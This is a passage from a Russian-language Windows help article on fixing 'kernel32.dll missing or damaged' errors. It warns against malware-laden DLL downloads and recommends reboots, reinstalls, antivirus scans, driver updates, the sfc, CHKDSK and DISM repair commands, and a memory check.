«Не удалось запустить приложение, потому что не найден kernel32.dll»;
«Файл kernel32.dll отсутствует или повреждён».

Решения

Как уже было сказано выше, этим компонентом системы крайне интересуются различные вирусы, выдавая свои инструменты за «kernel32.dll». Поэтому больше чем в половине сайтов вам будет предложено скачать если и корректный файлик, то с «интересной» начинкой.
Остальная часть предлагаемого для скачивания файлового ассортимента представляет собой обычные пустышки, от которых пользы не будет, но и вреда не предвидится.
Кроме того, суть проблемы может оказаться не только в самом рассматриваемом файле.

Возвращаясь к способам решения, отметим, что выглядят они следующим образом:

Первый и наиболее логичный вариант – это банальная перезагрузка компьютера, так как сбой в его работе, который и привёл к проблемам, может носить разовый и случайный характер.
Рассматриваемая ошибка не возникает на пустом месте (обычно!). Следовательно, какое-либо программное обеспечение попыталось обратиться к ресурсам «kernel32.dll», но не получило нужного отклика/ответа. Поэтому попробуйте переустановить программу/приложение или игру. Если это какой-либо репак/сборка, то попробуйте скачать её с другого источника.

Проведите полное комплексное сканирование операционной системы на наличие вирусной активности. В качестве антивирусных средств примените, например, «Malwarebytes AdwCleaner», «Dr.Web CureIt» или схожий инструмент от «Лаборатории Касперского».
Проверьте актуальность всех установленных версий драйверов программного обеспечения. Следует также применить комплексный подход, воспользовавшись не только специализированными средствами, типа «DriverPack Solutions», но и ручным поиском по официальным ресурсам разработчиков ваших компонентов компьютера.
Уделите внимание и периферийным устройствам. Например, вы используете какое-либо программное обеспечение, которому требуется подключение к веб-камере. В работе драйвера этой самой веб-камеры имеются проблемы, которые впоследствии и вызывают подобную неприятную ситуацию.
Проведите сканирование операционной системы на целостность компонентов и файлов, а также просканируйте на наличие битых секторов жёсткий диск, для этого можно использовать следующие команды:
- «sfc/scannow» – проверка целостности;
- «CHKDSK» – проверка жёсткого диска;
- «dism /Online /Cleanup-Image /CheckHealth» – необходимо для получения сведений относительно наличия повреждений компонентов Windows;
- «dism /Online /Cleanup-Image /ScanHealth» – осуществляет проверку хранилища на корректность и целостность;
- «dism /Online /Cleanup-Image /RestoreHealth» – выявляет неполадки и их автоматически исправляет.

Нажмите сочетание клавиш WIN+S и введите «Средство проверки памяти Windows».
Откройте найденный вариант и выберите одно из предложенных решений. Первое подразумевает осуществление перезагрузки, после чего и начнётся проверка ОЗУ, второе предлагает отложить проверку до следующего старта операционной системы.

Заключение

Источник